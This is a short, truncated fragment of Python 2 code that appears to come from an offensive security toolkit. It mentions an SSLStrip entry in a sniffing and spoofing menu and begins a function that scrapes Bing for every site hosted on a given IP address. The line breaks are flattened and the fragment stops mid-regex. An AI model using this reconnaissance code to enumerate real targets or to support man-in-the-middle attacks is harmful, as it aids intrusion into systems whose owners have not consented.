sniffingSpoofingMenu.completed("SSlStrip") - - -def unique(seq): - seen = set() - return [seen.add(x) or x for x in seq if x not in seen] - - -def bing_all_grabber(s): - - lista = [] - page = 1 - while page <= 101: - try: - bing = "http://www.bing.com/search?q=ip%3A" + \ - s + "+&count=50&first=" + str(page) - openbing = urllib2.urlopen(bing) - readbing = openbing.read() - findwebs = re.findall('